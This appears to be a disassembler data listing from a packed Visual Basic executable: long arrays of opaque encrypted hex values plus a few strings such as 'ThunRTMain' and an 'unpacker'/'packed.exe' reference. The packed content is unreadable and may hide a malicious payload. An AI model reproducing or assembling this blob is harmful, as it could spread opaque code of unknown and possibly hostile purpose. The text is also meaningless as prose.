888443A4h, 2C072CCAh, 0E40C3E92h, 53C7DC6Eh, 0C87E0EA3h dd 1BE959AFh, 8031B5ABh, 0A0D1275Ch, 0E8DA38ABh, 0Ch, 0E3D2EAB2h dd 50C8E9D4h, 0C275457Bh, 9E8h, 0A475AF00h, 0D9C3A8DEh dd 8166EA17h, 5A3E66F1h, 5DBD8B5Eh, 8109351Fh, 5EE0C6h dd 5E900h, 3E490000h, 689608F9h, 178Ah, 1F75BD89h, 0B6580935h dd 0B36FF33h, 35018995h, 0B70F5B09h, 0F9EB81F9h, 8B3F3D4Eh dd 351BFD8Dh, 1CEB8109h, 8B705B98h, 35274DBDh, 86EB8109h dd 0F91D6C8Bh, 8B661E89h, 0CCEE81F8h, 0E807A8D6h, 5, 0DD2DD2E4h dd 198B0F82h, 0E8000000h, 13h, 0B200D03Eh, 9CEA1C7Dh, 5FF3A918h dd 0FBBCE79Bh, 5FD788C7h, 0C8C6815Ah, 6607A8D6h, 48B4DDB9h dd 0FF8F850Fh, 0BD89FFFFh, 935049Dh, 15CE9h, 0E705C500h dd 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h, 656B6361h dd 78652E64h, 65h, 3Ah dup(0) db 0 a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 0F6h, 33h, 0A7h dd 1A86E95Ch, 0C2680000h, 0E9093B39h, 0FFFA470Ch, 3B3AC468h dd 4702E909h, 8868FFFAh, 0E9093B3Bh, 0FFFA46F8h, 3B3C6468h dd 46EEE909h, 0A368FFFAh, 0E9093B3Ch, 0FFFA46E4h, 3B3D6D68h dd 46DAE909h, 0C068FFFAh, 0E9093B3Dh, 0FFFA46D0h, 3B3E0768h dd 46C6E909h, 1168FFFAh, 0E9093B44h, 0FFFA46BCh, 3B44AA68h dd 46B2E909h, 5268FFFAh, 0E9093B45h, 0FFFA46A8h, 3B466168h dd 469EE909h, 0B968FFFAh, 0E9093B46h, 0FFFA4694h, 3B477F68h dd 468AE909h, 3968FFFAh, 0E9093B48h, 0FFFA4680h, 3B48AE68h dd 4676E909h, 9968FFFAh, 0E9093B4Fh, 0FFFA466Ch, 3B507568h dd 4662E909h, 0F468FFFAh, 0E9093B50h, 0FFFA4658h, 4D4E6BC9h dd 920B968Bh, 574451CEh, 8B1089A1h, 603D5CD5h, 0CD642653h dd 1209CFCCh, 0CC621687h, 160ACECFh, 701C1489h, 0FB098832h dd 6C4F7C12h, 43AE2B47h, 0AA11DF9Fh, 0AAE5295Ch, 435CD04Ah dd 623A8D5Ah, 0E731346Ah, 0CFF11502h, 0CB24154h, 0E6ECD6h dd 28C6E813h, 619016CCh, 0E6EDD3h, 4D37AE13h, 8559418Ch dd 392692h, 2E650000h, 0B903A19Bh, 0AD1C3641h, 0F709C52Bh dd 0EE9A5A7Fh, 37265B0h, 0DE159B15h, 111684Eh, 19869813h dd 0CBC866DAh, 7064C128h, 0DBC91C75h, 8529CB02h, 0E99C92h dd 47EB0000h, 0F3C8802Bh, 261AC527h, 3D8529C8h, 0E91C9ACDh dd 108A6A89h, 0FF718019h, 64567663h, 0CCF6ACCBh, 0C81C357Ch dd 0A729C826h, 7C537927h, 0A1471C35h, 9628CE55h, 8A17089Dh dd 0EB0B8D64h, 0B7E4FD71h, 3580E725h, 86130F1Ch, 0D2CF6315h dd 4901941Fh, 0A7185F85h, 24961502h, 0E2668D0Ah, 613A5C12h dd 735B3386h, 56438917h, 0B1371300h, 4D520211h, 0E51157A4h dd 0F56B9539h, 68760CE8h, 0C0BCC3Dh, 0A0B8428Ah, 0BC38BC37h dd 6277EE10h, 2BAEC739h, 0A1D694BBh, 806A09E9h, 17F7h dd 0A9F2D785h, 0FE9F3A37h, 0A3F8E57Ah, 475445DDh, 9C019891h dd 920EA9Fh, 0DE550B90h, 1EE2BBh, 0DA560A93h, 0A4E8E0BDh dd 0FB08B4FEh, 0A023B012h, 0F2AB2E47h, 0B8E5F26Eh, 9E24BA0Eh dd 0A41C3641h, 3641B4FEh, 942EB01Ch, 2E3BE212h, 0D50BC39Bh dd 1503724Ah, 3BC928AEh, 13011195h, 0E4E5CF56h, 928529A9h dd 0D2BEh, 0AD150D00h, 1C2BDEDCh, 0AB3995E6h, 1C358421h dd 0E9639315h, 2C606C75h, 35844C76h, 4EA6481Ch, 99912BCFh dd 84FAC0DEh, 0E8EE1C35h, 8D69EB06h, 4F7F1A13h, 0CD24B5ADh dd 9424AB4Bh, 1C358876h, 0B915829Eh, 88E5CF15h, 0BFE11C35h dd 829E6237h, 4651DE15h, 0DDA03E8Eh, 0DD1502AEh, 0C15E4BE3h dd 24DA1AD4h, 0E7724A82h, 2EE12A75h, 1FB8B04Eh, 0C7A450D4h dd 0D9F5ADF8h, 0CC441ECBh, 0FCD0D60Bh, 82716E02h, 0A852F6FEh dd 0ED7328B1h, 5C816574h, 41E9A1E9h, 16F5B8A2h, 0D1830000h dd 3C31A7F4h, 0EF80F8A5h, 3F37A9F2h, 0E67F019Ah, 98F1AAF3h dd 3D5E7BF2h, 6835A0BBh, 3C617EF0h, 6E2FA8C4h, 0E6CC12BAh dd 0E212FB07h, 2E4712B1h, 0F26EF2ABh, 1513B8E5h, 976974EBh dd 84F6FE9Bh, 7267FFE8h, 0F3FD7Fh, 9607908Ch, 0A626FEC9h dd 3591DF8h, 0F1DD0315h, 0B54154CFh, 26189E2Eh, 8CD91301h dd 188EBF98h, 0B6D99285h, 0BA000000h, 0D2E50449h, 1D0CD2FAh dd 1B150355h, 0C3BB8995h, 5EBF77CEh, 0A53B934Bh, 3753A376h dd 4E705C82h, 0B130C4D1h, 13BB9326h, 73933BCDh, 2E47B940h dd 0B638A5BBh, 2B47B93Bh, 35C143AEh, 4B75597Fh, 0FD1CAD7h dd 355E8613h, 68C742A8h, 1631E1C9h, 9DBF0000h, 809D6338h dd 63FC8419h, 0BBB32576h, 62FB7D1Eh, 1C6D2677h, 0B9E2F76Eh dd 0F4A92C47h, 0B8E5F26Ch, 0EAB32C40h, 72588646h, 6612FB06h dd 2B479635h, 0DF9F43AEh, 8BA6BE45h, 6161E30Eh, 0FFC3FF5Ah dd 7C37D0F4h, 9E29CD96h, 4973310Bh, 3D1C3584h, 6B79559Bh dd 15029BACh, 128FA01Ah, 0F1AA2CE2h, 0E5044942h, 0CD2FAD2h dd 1503551Dh, 0BB89951Bh, 91E9A1DFh, 0D6896F3Ah, 0F2E29EFh dd 315D717Fh, 18AD4973h, 0FDE4798Eh, 0F7AD21C7h, 8E18ADCDh dd 2BCF27C9h, 0E5BFA675h, 0A54C5286h, 7663FF01h, 0E8A0F37Eh dd 0B748BEE4h, 14A68DE5h, 0F3757C1Dh, 48FFC5DBh, 0F5FB8E25h dd 814D5301h, 0A5F6E37Fh, 62803F33h, 8E254858h, 0B9B44A4Ch dd 0D316CE20h, 0CA77B0C3h, 15553F27h, 71E30000h, 9C914754h dd 4FE09805h, 9F974952h, 46DFA1FAh, 38514A53h, 0DDBEDB52h dd 895001Bh, 0DCC1DE50h, 0E8F0824h, 862C721Ah, 8212FB05h dd 2B477251h, 0CB2936AEh, 2DB4E99Fh, 151645h, 11B6A400h dd 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh dd 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh, 5D3F9A7h dd 16C712FBh, 0AE2B47B5h, 35EDB843h, 49480B99h, 7C2C1503h dd 31B018Ah, 3C82A96h, 0C307C729h, 0B6971Dh, 0E90D9313h dd 19EE4E14h, 0E8F6D68Eh, 0BCDCA59h, 0FFE5395Fh, 809E5DE7h dd 0F1919722h, 112D20A2h, 92D00980h, 23CAA62Eh, 935D930Eh dd 0BB76A53Bh, 3A82785Ah, 98B31EA4h, 5A941A86h, 0F1B90C97h dd 0E926178h, 0BA94ECE0h, 7E4FDD48h, 4C802CC8h, 0D81CB9B2h dd 70D7D44Ah, 4686287Fh, 0AF1FB8B4h, 6A89100Dh, 0C7390EE6h dd 0B6233EABh, 0AF37B93Bh, 8644E4A6h, 4CC2AC37h, 0DA000014h dd 0BE425B78h, 0F36536A3h, 0C43C617Ch, 0EE722BACh, 82396277h dd 0F1E88109h, 9A3F34ACh, 0F4E17F01h, 0A43D31A7h, 677D51F7h dd 12FB045Dh, 2B874C59h, 1C3641A1h, 365213B5h, 41A1271Ch dd 13B51C36h, 431C3642h, 2132B22Fh, 0BCE99FCBh, 13F94D35h dd 0D5870000h, 3835ABF0h, 0EB84FCA1h, 332BADEEh, 0EA83F5A6h dd 94E5AEEFh, 415A7FF6h, 6C31A4BFh, 405D7AF4h, 623BA4B8h dd 3A801E6Eh, 2E12FB04h, 9B2E1E9Dh, 6AD50BC3h, 4E150366h dd 0FB2D9C48h, 0F170F2D4h, 13B209h, 0B5124000h, 0E4FD70E8h dd 0B32E41B7h, 0D9FE76EAh, 0B4253CC4h, 0AB5F2CE7h, 27627B2h dd 0A92F6C69h, 0EF712AB7h, 93356673h, 31FA53Bh, 8A1B12FBh dd 0AE2B4749h, 445DD143h, 17FD10ADh, 7908832h, 0E48C68ECh dd 894FFDA9h, 2DBEh, 0A52B0D00h, 0D51C3641h, 735B4059h dd 2ACAD749h, 6D365094h, 0DD81701Ch, 6A981BA5h, 0DAFB8E34h dd 5C648A1Bh, 599D4938h, 133A71h, 2B47A200h, 0EDB843AEh dd 0AFF59935h, 1C364205h, 7317DF01h, 36E162Dh, 0CFCCD215h dd 0E1EDA5F0h, 0CE352CC3h, 0AE1EC00Bh, 6C87100Ch, 13850CE8h dd 321C811Ch, 8F79344Ah, 7A7A8901h, 3628E1E4h, 831E131Ch dd 4A58341Ah, 1C362880h, 8827274h, 0F3658C15h, 1C90637Eh dd 89337104h, 7D1C3628h, 0EA5E955Bh, 0FA8D6471h, 0C43E392Bh dd 879A6D57h, 47A9362Ah, 13197456h, 0AF518950h, 0E2B5F9B2h dd 2968CCECh, 4CA82CC7h, 17A9Dh, 9B2EEE00h, 3ED50BC3h dd 0BA150343h, 0D64BBD34h, 130ED2CBh, 0F3FD9A96h, 504E7000h dd 0C95A1301h, 0C8BEFEDBh, 0AE87239Ch, 0CCFEE4DCh, 5D9DF039h dd 6D0A2799h, 13D8D37h, 0E7CB8713h, 0B4214BF2h, 6666880Eh dd 3367C22h, 0AC321301h, 34BFDC52h, 0D86744B0h, 2BB915CDh dd 0BCE1AD8h, 83FA8CDCh, 1170A44Dh, 89A014DFh, 5CD58B10h dd 9E26B63Dh, 0AE1C35CEh, 9D94674Dh, 44D99FFCh, 0CEF0965Dh dd 2EB24156h, 9ED954C6h, 35CEBA00h, 0C628AE1Ch, 7F9BD2Bh dd 5876A6Fh, 0C5B0A4F1h, 0C66C31A8h, 89506C87h, 4EE0h dd 0F4D2AA00h, 0C8721FB5h dd 47700FE7h, 0D448AB2Eh, 43B53C5Dh, 9E44AF2Ah, 3641BA00h dd 0D628AE1Ch, 47B9385Dh, 86D7AD28h, 0BC29DB9Eh, 93243DC8h dd 3641674Dh, 16839F1Ch, 0B8253AACh, 0EA14B836h, 0BA8F6774h dd 4FF9B518h, 85B289h, 2EE10000h, 0D50BC39Bh, 15035F4Eh dd 5123ECD4h, 6529CC62h, 9E22D1C8h, 0E8EEA450h, 0FF9A9709h dd 5A47DA9Eh, 91082597h, 0B3A1F262h, 4F4C55C8h, 476D3357h dd 431300C8h, 0CDC8639Dh, 73448929h, 3A239285h, 64000000h dd 0FBF1AD15h, 42B6C918h, 0BB891FB2h, 9717CD13h, 0D931C35h dd 0A7BE40E6h, 8A2CC232h, 3E1C3597h, 0B5FBE7CDh, 49E5D7F7h dd 0EAF8A450h, 1C359810h, 719902A4h, 7, 3AD1A2h, 47020000h dd 0A046AD28h, 868327E0h, 0EBF9E18Eh, 1C3610E1h, 0D91DD3D5h dd 0CECFCA67h, 678A170Ah, 0DD14D6DCh, 0C98C3A4Fh, 35C787E3h dd 55A138h, 0C7DA3314h, 7A8D894Fh, 3E00000Bh, 2BC6842Eh dd 0DFFA7587h, 759C8917h, 0B82D959Dh, 39C307CCh, 0B537BA27h dd 8B0D852Fh, 975F8192h, 0FB3196F7h, 20D112h, 2E020000h dd 0D806C684h, 1C3641F2h, 0A331C0E6h, 0B5458EB7h, 223B297Ch dd 32C3C6EBh, 25C7Ch, 842E4B00h, 874C0BC6h, 120CAD15h dd 835C603Bh, 0FEC2DD61h, 3EB62C61h, 8C4750CCh, 0DE576965h dd 40B438BBh, 68AD15A1h, 65279FFAh, 7DA040B4h, 0A88507Eh dd 38h, 0B8253AC4h, 0EB15953Ch, 68A6974h, 7D4F63EEh, 0E8CF1556h dd 0E61C3641h, 0B14059D4h, 9719C72Fh, 47BE153Ch, 7026AD28h dd 26D163h, 0C5FD0000h, 8B2F687h, 0D67D7915h, 0BC6842Eh dd 41E8CF15h, 97191C36h, 47BE153Ch, 1526AD28h, 8C6772EBh dd 0B89BEC08h, 0A12BB915h, 951C3641h, 4209B3F1h, 0DBFD1C36h dd 3353E115h, 0E7FC527Bh, 3B834B4Eh, 0ED4FF9Dh, 3BD222A4h dd 6BC2FEA0h, 2B00F4FDh, 33994783h, 273BD15Fh, 67FB7581h dd 0B7A8527Ah, 0E355CA2Ah, 0D4C15F4Ah, 5FE0EAF8h, 0D2D43BD1h dd 0B00DE71Ch, 29BFFFC4h, 82CF8493h, 28CBCC64h, 30AA4AA4h dd 0CF7BA33Ch, 4EA6332Dh, 0AE5740DCh, 7A87493Ch, 7663FF8Ah dd 65F802A6h, 6A06787Ch, 212F954Bh, 572B3BD2h, 0B12C64F1h dd 2EC0234h, 0D7F66F01h, 3BD193F0h, 6B41C2E4h, 71607B43h dd 0A98B3883h, 790CF84Dh, 5E20FCE5h, 0FAD2C7h, 180746Dh dd 0E83DEB91h, 891009FCh, 8DA01A14h, 0F26EE014h, 918820E5h dd 0D1AEB9FCh, 0DC29AF3Bh, 23CECB64h, 0CD24BDB1h, 6C0FF568h dd 23D6BE1Fh, 823A920Fh, 6C05D4AEh, 0A1FDF906h, 0AD5643DFh dd 0EB3A4B3Dh, 85120EF9h, 4E4BE799h, 0AF2A43B5h, 573D9E56h dd 0F0F88A4h, 8B316F1Bh, 7F3BD1F8h, 47F69D59h, 4C23AE2Bh dd 0C4862E87h, 196E650Dh, 885005C4h, 9E3B34C6h, 7625D153h dd 59h, 2BB91555h, 1C3641A1h, 50E31395h, 7A428A58h, 54CA7155h dd 0AE637B47h, 155D04F0h, 41A12BB9h, 13951C36h, 26A937E3h dd 1A1C3641h, 0C6D34872h, 913BA92Bh, 851C3641h, 15468D63h dd 1C37EDADh, 29CD1948h, 2A474E85h, 637024AFh, 6875EB15h dd 7EF0789h, 30h, 0C4862E48h, 9B9150Dh, 0ED47B79h, 1C3619A4h dd 0D7C2FEA0h, 16AC4871h, 1C35D4AFh, 15834EE2h, 4EAD15BEh dd 0D51D796Ch, 15088272h, 6370458Ch, 364BF72Bh, 0E7A32B1Ch dd 363413B9h, 0E1E1071Ch, 7CC235h, 0B9A155C2h, 0FFFFFD5Ch dd 41A52B1Ah, 0F6BC1C36h, 7EF16734h, 0DE3FE73h, 0EDD70DC1h dd 0E91C3641h, 20B02FC7h, 1C36419Ah, 6417FD4Eh, 0BCDCECBh dd 535D16h, 0DC246B96h, 0F6BE8912h, 0A719BD34h, 5AE80C89h dd 5E5FA1B7h, 819A24EAh, 9B5BDD14h, 507D5E46h, 17CBA63Ah dd 1F2h, 0ABAD1578h, 0D426DEEAh, 0AAD43B3h, 211C3637h dd 0E8E59096h, 86172528h, 0D73E6468h, 17150337h, 3C6F0167h dd 0C72F60A6h, 52069719h, 0BA009EDDh, 0AE1300D3h, 0B92BC628h dd 42B63DA4h, 0B43FB22Fh, 0BB2639E1h, 923AB438h, 0CDE4614Ch dd 9551570Bh, 0E9A0562Ah, 0A806F073h, 3600000Dh, 7AFE9F04h dd 0DFA1FAE7h, 90485540h, 0DA9EFF98h, 4E455643h, 0C5D44D3Dh dd 8E0B20D8h, 0C8D54B0Dh, 88110DD3h, 33711D13h, 12FAFD89h dd 476B507Dh, 35A2BE2Bh, 72E913BBh, 83108F67h, 0C745830h dd 0EA846841h, 7F660D7Eh, 1F39F3CFh, 20BE6A8Ah, 150CF210h dd 0B04A8224h, 4DCF22BFh, 64FB05A9h, 0C35C2479h, 0A9484DE6h dd 0B62AC927h, 0A6332DBAh, 0CC27C94Bh, 309C743Fh, 0C7B3C772h dd 0EBF9BD0Bh, 1C27A3E1h, 352DD3D5h, 25CB4DA4h, 0AE744CC1h dd 0E8D251E9h, 0D0Fh, 811ABF9Dh, 267762FFh, 7B20BDB2h dd 2F6C6D05h, 7429B0A9h, 2138D2A7h, 61DE3B8h, 0D8560A93h dd 21EE2BBh, 6C200895h, 0FAFD8C36h, 785B8812h, 43AE2B47h dd 9935EDB8h, 364E00Bh, 89129415h, 5D3E5BD7h, 6F5F3782h dd 0D84E3631h, 148CF40Bh, 935873CBh, 11974DA9h, 0B12C43BDh dd 128FA31Dh, 0C4995DDFh, 3D78F00Ah, 27B21DA7h, 5997191Ch dd 0EA0A8FA7h, 0FE2FF70h, 0CBFE136Bh, 0C0009D93h, 0DF17AEC6h dd 9E8F16Dh, 5B732B7Eh, 0D1634F2Fh, 9E3F11AAh, 0D981C856h dd 717714F4h, 0DB7C3675h, 12FCA7F2h, 0C67h, 396247F5h dd 6E2FAAC7h, 336875EAh, 7724B5ADh, 2C716801h, 0F9701A6Fh dd 2E45BBE0h, 0F06EF2ABh, 2A46BAE3h, 9438F0ADh, 0FAFC644Eh dd 90336012h, 43AE2B47h, 0FB5EB9Fh, 471C3642h, 951BA92Ch dd 0BC3D661h, 411A1DC3h, 880E1503h, 0C9D04D13h, 86130CD4h dd 9B2E3615h, 41B903A1h, 2BAD1C36h, 7AF709C5h, 97F3975Fh dd 0BD2A8AE7h, 35489D27h, 0AB17991Ch, 1EE09853h, 0CD639300h dd 15030C0Ah, 642FB808h, 0AC804B6Eh, 0B8149A48h, 1FE4CE14h dd 0CEE01301h, 15AD4350h, 0DB9A633Fh, 41C034E6h, 9B3F19Dh dd 0FD1300D6h, 43851BDBh, 41300D5h, 739AB3A1h, 0F4928565h dd 8Dh, 8D2A47D3h, 36416D57h, 0A947691Ch, 3E5BD64Ah, 0C8C02E8Eh dd 571CDA0Bh, 0B4AC209Fh, 0C15CD023h, 0E9029AAAh, 0CC2244CDh dd 0FDA5F0CFh, 527A7465h, 312518Ch, 837D5115h, 0CEF4EEEBh dd 0CA1300D4h, 539D3A34h, 0FBEBEDA3h, 0F2D543A6h, 58C2AC37h dd 0E600000Bh, 8A4E4F74h, 0CF910A97h, 0A0584550h, 0CA8E0F88h dd 5E554653h, 0D5C45D2Dh, 7E1B10C8h, 0D8C55B1Dh, 0B8213DC3h dd 3A1EDE3h, 12FAFBB9h, 479B20ADh, 0F4EEAF2Ah, 4Fh, 0BF2A4755h dd 3AB937A2h, 8A421AADh, 3526954h, 9D494F15h, 0F2D4E83Ah dd 1600A3h, 8E00000Bh, 0E29607ACh, 9749524Fh, 0D8A0FD98h dd 92465740h, 969DFE9Bh, 8D0C25E5h, 0C6D34810h, 900D23D5h dd 0C0D9550Bh, 0B99F5DBh, 12FAFBC1h, 47A328B5h, 6A1EAE2Bh dd 0F7C09C12h, 8D5767F2h, 1C361727h, 7F455B23h, 7B1C3617h dd 0F47B7B75h, 0DBF3EC80h, 0A0544DE1h, 6E1A8421h, 36178A30h dd 9C587E1Ch, 517C5D47h, 16895028h, 216h, 15344975h, 6845DA82h dd 0E709E7F0h, 558AB9E7h, 686E1503h, 6A06F8B4h, 72FB896Dh dd 4DE66CD3h, 902AA27Ah, 48F40099h, 609D4B9Ah, 44AF311Ah dd 2C44ECB7h, 3AC448ABh, 0B83CB724h, 16089636h, 0EA217699h dd 7AF608C4h, 0A4B8405Dh, 0B202AB3Bh, 189BE44Fh, 0A3A2Eh dd 4D6AC800h, 0C958850h, 4B56C98Fh, 1968E52h, 4C4DE49Ch dd 5337444Fh, 1ADEBFDAh, 51079401h, 27D9C2DFh, 1B0D8E0Bh dd 0FA872D73h, 528312FAh, 2BB91571h, 1C3641A1h, 69E31395h dd 7906EDF4h, 6456762Eh, 0D0FAA8CFh, 0C41C3641h, 0A325CC22h dd 0D9E3A753h, 24985B46h, 0DF619009h, 0C24FE511h, 42150D74h dd 625C309Ch, 0B729CDCAh, 0FC8419BCh, 0DB7F7267h, 0A3534EE1h dd 1CD8510h, 0E9BEC6C1h, 0C72F6BBEh, 0A9AE7D23h, 24CA0BC7h dd 561D16A8h, 27958248h, 7E70761Ch, 5E647A4Eh, 5A1C2795h dd 28B5AA54h, 0DAAF47C9h, 69880D26h, 865E7BF7h, 0E9AE82D5h dd 804129C8h, 0E000009h, 6216872Ch, 17C9D2CFh, 58207D18h dd 12C6D7C0h, 161D7E1Bh, 0D8CA565h, 4653C890h, 108DA355h dd 4059D58Bh, 8B19755Bh, 12FAF941h, 0DF23A835h, 3641C705h dd 6277EF1Ch, 94051D8Fh, 0BFA5F85Dh, 6F55C6BCh, 0F6AEF9ACh dd 5D79C8D6h, 597F1503h, 0C9D44B75h, 0E8A0F3D4h, 0C5EFBEE4h dd 0E3050BCCh, 445DD1EBh, 148DA157h, 0A28E21D0h, 0DF57CE9h dd 90Bh, 7D1EBB99h, 227B66FBh, 0C7D4C15Eh, 1B801911h, 0D0CDCC65h dd 5DD4B6C3h, 82995F3Ch, 5CD28617h, 869A5E3Fh, 0CC8419h dd 0FAF9D8E2h, 0FCBFCC12h, 6673EB15h, 41BE008Eh, 72EE1C36h dd 7F256965h, 1C364135h, 7247AF31h, 0E8D210BCh, 0DC1C3641h dd 41C00A98h, 32B41C36h, 1AAD38BCh, 2FC2DF52h, 3F8B43ADh dd 0E2FF718Bh, 3641BA00h, 0CC28AE1Ch, 30D8E36h, 6C608615h dd 56CFDC52h, 68F0AD43h, 0DBE5E9F6h, 1F9E5643h, 87E37h dd 0EB159800h, 0F98C6875h, 0C0BDC8AEh, 0EDDF7000h, 48F3CB03h dd 0FC7C8BD9h, 315D01F5h, 0F201948Fh, 35F8866Eh, 0EB150269h dd 189E2EC5h, 0D913006Ch, 8EBF988Ch, 0D99285CEh, 15Fh dd 74EB15BAh, 1D138D69h, 64FF7180h, 0B0DC8271h, 3641C8F2h dd 0A625BA1Ch, 2F37A67Ch, 69E31395h, 0A0E0ECF5h, 0F5574B18h dd 1F9E5649h, 7526B3ADh, 5C706D03h, 0BB357C24h, 24D08643h dd 0CD99129Dh, 35F1E301h, 0E3051C36h, 0BB019FEBh, 0AF1C3635h dd 0D246CD29h, 3FB1405Dh, 2DACC520h, 45AC42C6h, 83664EAFh dd 0D5A09401h, 0C2D74E5Bh, 77E96F2Ch, 0AFF9876Ah, 8F1C3636h dd 46EC0792h, 36353298h, 7E80261Ch, 4BFBF6E3h, 7DB6428Fh dd 33D00AC8h, 6FDCA641h, 5F7CF285h, 0C4D54D6Fh, 0DC55AB2Dh dd 42B236BDh, 15D1DA65h, 6AA92BB9h, 0B8D1C35h, 53CFFBC3h dd 4AE61B16h, 36182E94h, 6A842A1Ch, 9A91038Ah, 16A89EFFh dd 7908C19h, 98930DE9h, 0EE82F6FDh, 8B756C01h, 0AE90792h dd 30DBC91Ah, 23B0AE3Bh, 0F9A24CD0h, 0AE9EC87h, 5A722A7Dh dd 184A702Eh, 983E1C36h, 0B3F2B05Ch, 69150333h, 89A25647h dd 515AE50Ch, 2DAB3995h, 1113010Ah, 2774648Fh, 0C4D14A3Dh dd 8F0A21D7h, 14CCD764h, 9EF2AB8h, 0BB0F0BCEh, 360D9F25h dd 0ADF39B1Ch, 1C360E07h, 0E313DD03h, 9923AB2Dh, 0D25EF84h dd 3234B968h, 43B335BCh, 6C79F266h, 680EE5F2h, 35E2903Ah dd 8C62841Ch, 0A9C73962h, 2EBC6F2Ch, 0D50BC39Bh, 15036E7Eh dd 0B7D747Ah, 0B9438B16h, 32B63DA4h, 2E46E5C2h, 892DC486h dd 0FEBCA339h, 0F3037996h, 35575B5Dh, 0A978B1Ch, 0DFFA75E7h dd 0B59F7C14h, 9C88DDB2h, 50E392BBh, 55D589h, 15B60000h dd 41A12BB9h, 13951C36h, 0EDF469E3h, 762C6006h, 1C36414Ch dd 0C058A648h, 2B911FD7h, 0DF1C3641h, 7EF3866Eh, 2C943A63h dd 869B422Ah, 6C54D81Bh, 975F47D6h, 364C0709h, 9463271Ch dd 9FFFFFFFh, 0BB3E70DFh, 57C8C65Bh, 541CA44Ah, 4C6993AEh dd 47731ADAh, 3A23AE2Bh, 0C4862E99h, 19EFE40Dh, 885005C4h dd 3AC3h, 0B9150400h, 3641A12Bh, 0E313951Ch, 478A5850h dd 2A47B915h, 0BA34A1BFh, 47AA2F44h, 19A331C5h, 171C3641h dd 0E80B8EA5h, 0BCE29064h, 47BE1515h, 7024AF2Ah, 30D163h dd 2E020000h, 150DC486h, 8C6772EBh, 8C40EC08h, 12E2FF72h dd 3641367Ch, 0F2E16F1Ch, 2A47BE15h, 809D1FAFh, 6A56DA19h dd 0A722A4DFh, 55FCF8D1h, 0B9156370h, 3641A12Bh, 0BB019F1Ch dd 0AF1C3641h, 0E1159B29h, 0C8B7F06Fh, 85251310h, 13A1509Eh dd 1C3573A9h, 7104F05Dh, 347FF3FEh, 370E03C7h, 0C32EC02Dh dd 4EEEAF41h, 1C35D912h, 24BA0EBEh, 1C35C69Eh, 0F8E0149Ah dd 0FFFFF44Fh, 0BF2A4759h, 3DBF32A7h, 8844EAB3h, 5AAF0338h dd 0BD97E78h, 1C362DC1h, 0A31870B3h, 4D773AEAh, 72CA371Dh dd 0B03EC3C1h, 2EE6B144h, 0C2B5009Eh, 25CB1502h, 286428CEh dd 0BA507Ah, 40A24413h, 1300BA7Ah, 56173A6Eh, 15DC9C4Ah dd 43851BDBh, 7313008Ah, 6174EFFAh, 11E00E92h, 0DE15809Fh dd 0B4B79DEEh, 0C19A8ADBh, 9285B48Ch, 18DBh, 1C15A700h dd 2F2767Dh, 0BD15Bh, 0D1FD0000h, 3641A913h, 0FBFB9D1Ch dd 0C39B2E54h, 6122D50Bh, 10961503h, 0E7F26FE1h, 1EB726B6h dd 67F91301h, 0C15F217Ah, 49791DD4h, 0A2CC3F75h, 74ED13DFh dd 0EA0A8E65h, 0FF9C9672h, 0CFCC6215h, 8DA8D8CEh, 0BA68B036h dd 0B3AF21D5h, 1914A626h, 69FF7480h, 0A0E0ECF5h, 0C5664A07h dd 0F4AA22F5h, 130113CEh, 63D024CAh, 8B483C89h, 64CCF33h dd 9E5677D1h, 0B9B7302Ch, 9D53D51Ch, 76F5CD81h, 0CDF7ADD3h dd 0C91300F5h, 0DACD9B27h, 190FAE46h, 88D005B4h, 0D9B3h dd 852E1400h, 0BEB50DC1h, 41DA1990h, 151CC333h, 3641E8CFh dd 3C97191Ch, 2F47B915h, 7C0F297Ch, 89679EEEh, 18E66Ah dd 1CD85C97h, 64746C75h, 23AE2B47h, 0F76A943Ah, 15630AEAh dd 8F6772EBh, 0F3DEAC04h, 0C419EFE4h, 0C6885005h, 443BD3F6h dd 0C345AC2Dh, 0CEE65DFFh, 4CA84653h, 4D9Dh, 0FFA5E900h dd 1F35C8B5h, 28C72FB1h, 0DC4862Eh, 2847B915h, 11BB49ADh dd 51C3642h, 0B915F0E3h, 48AB2E47h, 0B8253AC4h, 0A03FB739h dd 0A3BF2A47h, 0B739BB36h, 76EB151Ch, 0FAF9E47Bh, 2B7C7876h dd 1C859923h, 0FCA353D5h, 22D1h, 862E0200h, 0CF150DC4h dd 1C3641E5h, 153F921Eh, 8E6570EBh, 5C7DF40Ah, 37E31395h dd 0AF2A4798h, 0D1637024h, 0FFFFFF23h, 716C03FDh, 0B915DE85h dd 3641A12Bh, 0E313951Ch, 5ECF569h, 99029F93h, 0E301FBCEh dd 1C3641D9h, 688B1609h, 36B8DEE4h, 51C8F296h, 4F16AC48h dd 45150364h, 9C912BA3h, 9A48EE05h, 13011B30h, 886C8224h dd 1B557B09h, 8F161301h, 2369A4A5h, 0C1019285h, 5D4D1A22h dd 3937AC51h, 0AE7E498Eh, 5C05B440h, 0C6000000h, 6B76EB15h dd 0A0F87D57h, 995D4300h, 7EF3BB0Eh, 8D418D63h, 15E1FC73h dd 316907Fh, 0AF426415h, 0D69F21h, 1F54CF13h, 0D63B81h dd 47A92F13h, 0B62338ACh, 9480CD3Bh, 7F65C0D1h, 918C2E5Ah dd 0D6F0DA08h, 0C2E41300h, 65438A32h, 95279285h, 6EF20198h dd 0FFDF86h, 15B00000h, 0E17875EBh, 79FBF6F8h, 726F037Dh dd 0F1AFDB7Fh, 1C3641CBh, 4CE719BFh, 0CE26AA49h, 1DD4C55Ch dd 0C72AB7ABh, 0E68E5B23h, 427E1B13h, 0EA0ACE95h, 23C1FC70h dd 1C357199h, 0B8E50B8Dh, 3575E624h, 85120E1Ch, 1DB8B749h dd 0E07C04D9h, 2656FCF7h, 1B6ED04Bh, 5E647AA4h, 5A1C3552h dd 0C75A9A54h, 9B3C34FCh, 0B21AD458h, 27F71ECh, 4D812715h dd 0D71FBAB3h, 0BEB24C02h, 7742D521h, 0C0712F9Fh, 0B40BCC32h dd 43AD2A42h, 2F7F3F8Bh, 3FE77E93h, 9E2A904Eh, 781E1C33h dd 150C7E76h, 0C8611784h, 8214AE1h, 0E64F675Fh, 8DC12DCh dd 0E9A2527Fh, 20EBD35Eh, 0AE000002h, 276278Ch, 0B729726Fh dd 0F8801DB8h, 0B2267760h, 0B67D1EBBh, 0AD2C45C5h, 0E6F368F0h dd 0B02D43B5h dd 0E0F975EBh, 2BB915BBh, 